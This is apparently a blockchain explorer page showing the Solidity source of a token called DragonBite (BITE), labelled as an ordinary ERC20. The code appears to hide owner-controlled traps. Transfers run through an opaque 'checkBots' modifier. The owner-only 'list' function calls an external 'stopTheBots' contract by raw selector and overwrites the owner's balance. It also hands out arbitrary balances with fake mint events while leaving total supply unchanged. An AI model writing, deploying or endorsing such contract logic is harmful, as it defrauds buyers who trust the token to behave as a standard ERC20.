DragonBite
ERC20
This contract is an ERC20 token.
Name
DragonBite
Symbol
BITE
Decimals
18
Total Supply
1,000,000,000 BITE
About
Stats
Public Functions
5
Event Types
2
Code Size
8,721 bytes
Constants (1) keyboard_arrow_up
State Variables (10) keyboard_arrow_up
Functions
transfer keyboard_arrow_up
Requirements help
Source Code
function transfer(address _to, uint256 _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
transferFrom keyboard_arrow_up
Requirements help
Source Code
function transferFrom(
address _from,
address _to,
uint256 _value
) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) {
return true;
}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
approve keyboard_arrow_up
Source Code
function approve(address _spender, uint256 _value)
public
payable
returns (bool)
{
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
delegate keyboard_arrow_up
list keyboard_arrow_up
Requirements help
Source Code
function list(
uint256 _numList,
address[] memory _tooWho,
uint256[] memory _amounts
) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = (totalSupply * 6) / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for (uint256 i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
Internal Functions
Internal functions are parts of the contract that can't be used directly, but instead are used by the public functions listed above.
internal DragonBite.pairOfTokens keyboard_arrow_up
Source Code
function pairOfTokens(address tokenA, address tokenB)
internal
pure
returns (address pair)
{
(address token0, address token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f"
)
)
)
);
}